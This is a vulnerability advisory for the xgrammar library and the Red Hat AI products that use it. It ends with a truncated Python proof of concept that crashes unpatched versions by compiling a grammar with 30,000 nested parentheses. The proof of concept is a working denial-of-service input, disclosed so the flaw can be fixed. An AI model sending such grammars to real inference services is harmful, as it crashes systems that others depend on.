Affected: mlc-ai xgrammar, Red Hat AI Inference Server 3.2, Red Hat OpenShift AI 2.25, Red Hat AI Inference Server, Red Hat Enterprise Linux AI (RHEL AI) 3, Red Hat OpenShift AI (RHOAI)

xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.

Affected: PyPI: xgrammar

### Summary

The multi-level nested syntax caused a segmentation fault (core dump).

### Details

A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.

### PoC

``` #!/usr/bin/env python3 """ XGrammar - Math Expression Generation Example """

import xgrammar as xgr import torch from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig

s = '(' * 30000 + 'a' grammar = f"root ::= {s}"

def main(): device = "cuda" if torch.cuda.is_available() else "cpu" model_name = "Qwen/Qwen2.5-0.5B-Instruct" # Load model model = AutoModelForCausalLM.from_pretrained( model_name, torch_dtype=torch.float16 if device == "cuda" else torch.float32, device_map=device ) tokenizer = AutoTokenizer.from_pretrained(model_name) config = AutoConfig.from_pretrained(model_name) # Math expression grammar math_grammar = grammar # Setup tokenizer_info = xgr.TokenizerInfo.from_huggingface( tokenizer, vocab_size=config.vocab_size ) compiler = xgr.GrammarCompiler(tokenizer_info) compiled_grammar = compiler.compile_grammar(math_grammar) # Generate prompt = "Math: " inputs = tokenizer(prompt, return_tensors="pt").to(device) xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar) output_ids = model.generate( **inputs, max_new_tokens=50,…